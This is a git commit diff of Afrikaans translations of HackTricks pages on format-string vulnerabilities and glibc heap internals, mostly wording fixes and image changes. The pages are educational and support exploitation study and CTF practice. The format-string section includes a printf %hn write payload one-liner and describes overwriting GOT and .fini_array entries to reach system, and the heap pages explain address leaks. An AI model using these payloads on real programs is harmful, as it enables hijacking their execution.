Translated ['binary-exploitation/format-strings/README.md', 'binary-expl

This commit is contained in:
Translator 2024-11-12 12:25:33 +00:00
parent 107fe35c53
commit 58667929f4
98 changed files with 661 additions and 638 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.1 KiB

After

Width:  |  Height:  |  Size: 131 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 131 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 708 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 708 KiB

After

Width:  |  Height:  |  Size: 287 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 287 KiB

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

After

Width:  |  Height:  |  Size: 216 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 216 KiB

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 418 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 418 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 62 KiB

After

Width:  |  Height:  |  Size: 59 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 154 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 271 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 271 KiB

After

Width:  |  Height:  |  Size: 105 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 105 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 461 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 461 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.8 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.5 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 112 KiB

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 22 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 MiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

After

Width:  |  Height:  |  Size: 262 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 262 KiB

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 56 KiB

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 284 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 284 KiB

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 40 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 138 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 96 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 453 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 453 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

After

Width:  |  Height:  |  Size: 160 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 KiB

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 210 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 210 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.1 KiB

After

Width:  |  Height:  |  Size: 86 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1 MiB

After

Width:  |  Height:  |  Size: 594 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 594 KiB

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

After

Width:  |  Height:  |  Size: 3.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.5 KiB

After

Width:  |  Height:  |  Size: 551 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

After

Width:  |  Height:  |  Size: 82 KiB

View file

@ -1,8 +1,8 @@
# Formaat Strings
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,20 +15,19 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basiese Inligting
In C **`printf`** is 'n funksie wat gebruik kan word om 'n **string** te **druk**. Die **eerste parameter** wat hierdie funksie verwag is die **rou teks met die formaatters**. Die **volgende parameters** wat verwag word is die **waardes** om die **formaatters** van die rou teks te **vervang**.
In C **`printf`** is 'n funksie wat gebruik kan word om 'n **string** te **druk**. Die **eerste parameter** wat hierdie funksie verwag, is die **rauwe teks met die formaatters**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formaatters** van die rauwe teks te **vervang**.
Ander kwesbare funksies is **`sprintf()`** en **`fprintf()`**.
Die kwesbaarheid verskyn wanneer 'n **aanvallers teks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer te vervaardig wat** die **printf formaat** string vermoëns misbruik om enige data in enige adres (leesbaar/skryfbaar) te lees en **te skryf**. Op hierdie manier in staat om **arbitraire kode uit te voer**.
Die kwesbaarheid verskyn wanneer 'n **aanvalle teks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer te vervaardig wat** die **printf formaat** string vermoëns misbruik om enige data in enige adres (leesbaar/skryfbaar) te lees en **te skryf**. Op hierdie manier in staat om **arbitraire kode uit te voer**.
#### Formaatters:
```bash
@ -73,7 +72,7 @@ return 0;
```
### **Toegang tot Pointers**
Die formaat **`%<n>$x`**, waar `n` 'n nommer is, laat toe om aan printf aan te dui om die n parameter (van die stapel) te kies. So as jy die 4de parameter van die stapel met printf wil lees, kan jy doen:
Die formaat **`%<n>$x`**, waar `n` 'n getal is, laat toe om aan printf aan te dui om die n parameter (van die stapel) te kies. So as jy die 4de parameter van die stapel met printf wil lees, kan jy doen:
```c
printf("%x %x %x %x")
```
@ -83,7 +82,7 @@ Of jy kan doen:
```c
printf("%4$x")
```
en lees direk die vierde.
and lees direk die vierde.
Let op dat die aanvaller die `printf` **parameter beheer, wat basies beteken dat** sy invoer in die stapel gaan wees wanneer `printf` aangeroep word, wat beteken dat hy spesifieke geheue adresse in die stapel kan skryf.
@ -151,8 +150,8 @@ p.close()
Arbitraire lees kan nuttig wees om:
* **Dump** die **binarie** uit geheue
* **Toegang te verkry tot spesifieke dele van geheue waar sensitiewe** **inligting** gestoor word (soos kanaries, versleuteling sleutels of paswoorde soos in hierdie [**CTF-uitdaging**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
* **Dump** die **binaire** uit geheue
* **Toegang tot spesifieke dele van geheue waar sensitiewe** **inligting** gestoor word (soos kanaries, versleuteling sleutels of persoonlike wagwoorde soos in hierdie [**CTF-uitdaging**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitraire Skrywe**
@ -188,8 +187,6 @@ If HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
{% code overflow="wrap" %}
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
@ -238,21 +235,19 @@ Dit is moontlik om die skryf aksies van 'n formaat string kwesbaarheid te misbru
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, geen canary, nx, geen pie, formaat string om 'n adres binne main in `.fini_array` te skryf (sodat die vloei een keer meer terugloop) en die adres na `system` in die GOT tabel te skryf wat na `strlen` wys. Wanneer die vloei terug na main gaan, word `strlen` uitgevoer met gebruikersinvoer en wys na `system`, dit sal die oorgedraagde opdragte uitvoer.
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackable te hack - **ons huur!** (_vloeiend Pools geskryf en gesproke vereis_).
As jy belangstel in 'n **hacking loopbaan** en die onhackable te hack - **ons huur!** (_vloeiend in Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<summary>Ondersteun HackTricks</summary>
Ondersteun HackTricks
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -10,26 +10,26 @@ Soos getoon, is dit net na waar die binêre in geheue gelaai word (kyk die `[hea
### Basic Chunk Allocation
Wanneer daar data aangevra word om in die heap gestoor te word, word 'n stuk van die heap aan dit toegeken. Hierdie ruimte sal aan 'n bin behoort en slegs die aangevraagde data + die ruimte van die bin koppe + minimum bin grootte offset sal gereserveer word vir die chunk. Die doel is om slegs die minimum geheue te reserveer sonder om dit ingewikkeld te maak om te vind waar elke chunk is. Hiervoor word die metadata chunk inligting gebruik om te weet waar elke gebruikte/vrye chunk is.
Wanneer 'n sekere hoeveelheid data aangevra word om in die heap gestoor te word, word 'n gedeelte van die heap aan dit toegeken. Hierdie ruimte behoort aan 'n bin en slegs die aangevraagde data + die ruimte van die bin koppe + minimum bin grootte offset sal gereserveer word vir die chunk. Die doel is om slegs die minimum geheue te reserveer sonder om dit moeilik te maak om te vind waar elke chunk is. Hiervoor word die metadata chunk inligting gebruik om te weet waar elke gebruikte/vry chunk is.
Daar is verskillende maniere om die ruimte te reserveer, hoofsaaklik afhangende van die gebruikte bin, maar 'n algemene metodologie is die volgende:
* Die program begin deur 'n sekere hoeveelheid geheue aan te vra.
* As daar in die lys van chunks iemand beskikbaar is wat groot genoeg is om die aanvraag te vervul, sal dit gebruik word.
* Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie aanvraag gebruik sal word en die res aan die chunks lys bygevoeg sal word.
* As daar nie enige beskikbare chunk in die lys is nie, maar daar steeds ruimte in die toegeken geheue is, sal die heap bestuurder 'n nuwe chunk skep.
* As daar nie genoeg heap ruimte is om die nuwe chunk toe te ken nie, vra die heap bestuurder die kernel om die geheue wat aan die heap toegeken is, uit te brei en dan hierdie geheue te gebruik om die nuwe chunk te genereer.
* As daar in die lys van chunks iemand beskikbaar groot genoeg is om die versoek te vervul, sal dit gebruik word.
* Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie versoek gebruik sal word en die res aan die chunks lys bygevoeg sal word.
* As daar nie enige beskikbare chunk in die lys is nie, maar daar steeds ruimte in die toegeken geheue is, skep die heap bestuurder 'n nuwe chunk.
* As daar nie genoeg heap ruimte is om die nuwe chunk toe te ken nie, vra die heap bestuurder die kernel om die geheue wat aan die heap toegeken is, uit te brei en gebruik dan hierdie geheue om die nuwe chunk te genereer.
* As alles misluk, keer `malloc` null terug.
Let daarop dat as die aangevraagde **geheue 'n drempel oorskry**, **`mmap`** gebruik sal word om die aangevraagde geheue te kaart.
## Arenas
In **multithreaded** toepassings moet die heap bestuurder **race conditions** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **globale mutex** te gebruik om te verseker dat slegs een thread die heap op 'n slag kan benader, maar dit het **prestasieprobleme** veroorsaak weens die mutex-geïnduseerde bottleneck.
In **multithreaded** toepassings moet die heap bestuurder **wedren toestande** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **globale mutex** te gebruik om te verseker dat slegs een thread die heap op 'n slag kan benader, maar dit het **prestasie probleme** veroorsaak weens die mutex-geïnduseerde bottleneck.
Om dit aan te spreek, het die ptmalloc2 heap toewysingsprogram "arenas" bekendgestel, waar **elke arena** as 'n **afsonderlike heap** optree met sy **eie** data **strukture** en **mutex**, wat verskeie threads toelaat om heap operasies uit te voer sonder om mekaar te steur, solank hulle verskillende arenas gebruik.
Die standaard "hoof" arena hanteer heap operasies vir enkel-draad toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap bestuurder hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel, en skep nuwe as dit nodig is, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bis stelsels en 8 keer vir 64-bis stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot potensiële mededinging lei.
Die standaard "hoof" arena hanteer heap operasies vir enkel-threaded toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap bestuurder hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel, en skep nuwe as dit nodig is, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bis stelsels en 8 keer vir 64-bis stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot potensiële mededinging lei.
In teenstelling met die hoof arena, wat uitbrei deur die `brk` stelselaanroep, skep sekondêre arenas "subheaps" deur `mmap` en `mprotect` te gebruik om die heap gedrag na te boots, wat buigsaamheid in die bestuur van geheue vir multithreaded operasies toelaat.
@ -45,12 +45,12 @@ Subheaps dien as geheue voorrade vir sekondêre arenas in multithreaded toepassi
* Standaard is die gereserveerde grootte vir 'n subheap 1 MB vir 32-bis prosesse en 64 MB vir 64-bis prosesse.
3. **Geleidelike Uitbreiding met `mprotect`**:
* Die gereserveerde geheuegebied is aanvanklik gemerk as `PROT_NONE`, wat aandui dat die kernel nie fisiese geheue aan hierdie ruimte hoef toe te ken nie.
* Om die subheap te "groei", gebruik die heap bestuurder `mprotect` om bladsy toestemmings van `PROT_NONE` na `PROT_READ | PROT_WRITE` te verander, wat die kernel aanmoedig om fisiese geheue aan die voorheen gereserveerde adresse toe te ken. Hierdie stap-vir-stap benadering laat die subheap toe om uit te brei soos nodig.
* Sodra die hele subheap uitgeput is, skep die heap bestuurder 'n nuwe subheap om voort te gaan met allokasie.
* Om die subheap te "laat groei", gebruik die heap bestuurder `mprotect` om bladsy toestemmings van `PROT_NONE` na `PROT_READ | PROT_WRITE` te verander, wat die kernel aanmoedig om fisiese geheue aan die voorheen gereserveerde adresse toe te ken. Hierdie stap-vir-stap benadering laat die subheap toe om uit te brei soos nodig.
* Sodra die hele subheap uitgeput is, skep die heap bestuurder 'n nuwe subheap om voort te gaan met toewysing.
### heap\_info <a href="#heap_info" id="heap_info"></a>
Hierdie struktuur allokeer relevante inligting van die heap. Boonop mag heap geheue nie aaneenlopend wees na meer allokasies nie, hierdie struktuur sal ook daardie inligting stoor.
Hierdie struktuur allokeer relevante inligting van die heap. Boonop mag heap geheue nie aaneenlopend wees na meer toewysings nie, hierdie struktuur sal ook daardie inligting stoor.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
@ -76,7 +76,7 @@ In die geval van **`malloc_state`** struktuur van die heaps van threads, is hull
Daar is 'n paar interessante dinge om op te let van hierdie struktuur (sien C kode hieronder):
* `__libc_lock_define (, mutex);` Is daar om te verseker dat hierdie struktuur van die heap deur 1 thread op 'n slag benader word
* `__libc_lock_define (, mutex);` is daar om te verseker dat hierdie struktuur van die heap deur 1 thread op 'n slag benader word
* Vlaggies:
* ```c
#define NONCONTIGUOUS_BIT (2U)
@ -87,10 +87,10 @@ Daar is 'n paar interessante dinge om op te let van hierdie struktuur (sien C ko
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
* Die `mchunkptr bins[NBINS * 2 - 2];` bevat **pointers** na die **eerste en laaste chunks** van die klein, groot en onsorteerde **bins** (die -2 is omdat die indeks 0 nie gebruik word nie)
* Daarom, die **eerste chunk** van hierdie bins sal 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **voorwaartse pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan l**eak hierdie adresse in die hoof arena** sal jy 'n pointer na die struktuur in die **libc** hê.
* Daarom sal die **eerste chunk** van hierdie bins 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **voorwysende pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan **leak hierdie adresse in die hoof arena** jy 'n pointer na die struktuur in die **libc** sal hê.
* Die structs `struct malloc_state *next;` en `struct malloc_state *next_free;` is verknopte lyste van arenas
* Die `top` chunk is die laaste "chunk", wat basies **al die heap herinnering ruimte** is. Sodra die top chunk "leeg" is, is die heap heeltemal gebruik en dit moet meer ruimte aan vra.
* Die `last reminder` chunk kom van gevalle waar 'n presiese grootte chunk nie beskikbaar is nie en daarom 'n groter chunk gesplinter word, 'n pointer oorblywende deel word hier geplaas.
* Die `top` chunk is die laaste "chunk", wat basies **alle die heap herinnering ruimte** is. Sodra die top chunk "leeg" is, is die heap heeltemal gebruik en dit moet meer ruimte aan vra.
* Die `last reminder` chunk kom van gevalle waar 'n presiese grootte chunk nie beskikbaar is nie en daarom 'n groter chunk gesplinter word, 'n pointer wat oorbly is hier geplaas.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -201,7 +201,7 @@ Vir hierdie omskakelings word hierdie funksies gebruik:
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
### Alignering & min grootte
### Uitlijning & min grootte
Die wysiger na die stuk en `0x0f` moet 0 wees.
```c
@ -412,7 +412,7 @@ Stel 'n breekpunt aan die einde van die hooffunksie en kom ons vind uit waar die
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor dit te kyk, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor te kyk, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
Die ekstra spasie wat gereserveer is (0x21-0x10=0x11) kom van die **bygevoegde koptekste** (0x10) en 0x1 beteken nie dat dit 0x21B gereserveer is nie, maar die laaste 3 bits van die lengte van die huidige kop het 'n paar spesiale betekenisse. Aangesien die lengte altyd 16-byte uitgelijnd is (in 64-bits masjiene), gaan hierdie bits eintlik nooit deur die lengtenommer gebruik word nie.
```
@ -470,15 +470,15 @@ return 0;
Deur die vorige voorbeeld te debugeer, is dit moontlik om te sien hoe daar aan die begin slegs 1 arena is:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Dan, na die aanroep van die eerste draad, die een wat malloc aanroep, word 'n nuwe arena geskep:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Dan, na die eerste thread aan te roep, die een wat malloc aanroep, word 'n nuwe arena geskep:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
en binne dit kan 'n paar chunks gevind word:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Geheue Toewysings/Vrystellings

View file

@ -8,8 +8,8 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -63,11 +63,11 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
```
### Grafiese Verklaring
### Grafiese Verduideliking
Kyk na hierdie wonderlike grafiese verklaring van die unlink-proses:
Kyk na hierdie wonderlike grafiese verduideliking van die unlink-proses:
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Sekuriteitskontroles
@ -75,33 +75,33 @@ Kyk na hierdie wonderlike grafiese verklaring van die unlink-proses:
* Kontroleer ook dat `P->fd->bk == P` en `P->bk->fw == P`
* As die chunk nie klein is nie, kontroleer dat `P->fd_nextsize->bk_nextsize == P` en `P->bk_nextsize->fd_nextsize == P`
### Lekke
### Lekkasies
'n Onverknote chunk skoonmaak nie die toegewyde adresse nie, so om toegang te hê om dit te lees, is dit moontlik om 'n paar interessante adresse te lek:
Libc Lekke:
Libc Lekkasies:
* As P in die kop van die dubbelgekoppelde lys geleë is, sal `bk` na `malloc_state` in libc wys
* As P aan die einde van die dubbelgekoppelde lys geleë is, sal `fd` na `malloc_state` in libc wys
* Wanneer die dubbelgekoppelde lys slegs een gratis chunk bevat, is P in die dubbelgekoppelde lys, en beide `fd` en `bk` kan die adres binne `malloc_state` lek.
Heap lekke:
Heap lekkasies:
* As P in die kop van die dubbelgekoppelde lys geleë is, sal `fd` na 'n beskikbare chunk in die heap wys
* As P aan die einde van die dubbelgekoppelde lys geleë is, sal `bk` na 'n beskikbare chunk in die heap wys
* As P in die dubbelgekoppelde lys is, sal beide `fd` en `bk` na 'n beskikbare chunk in die heap wys
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
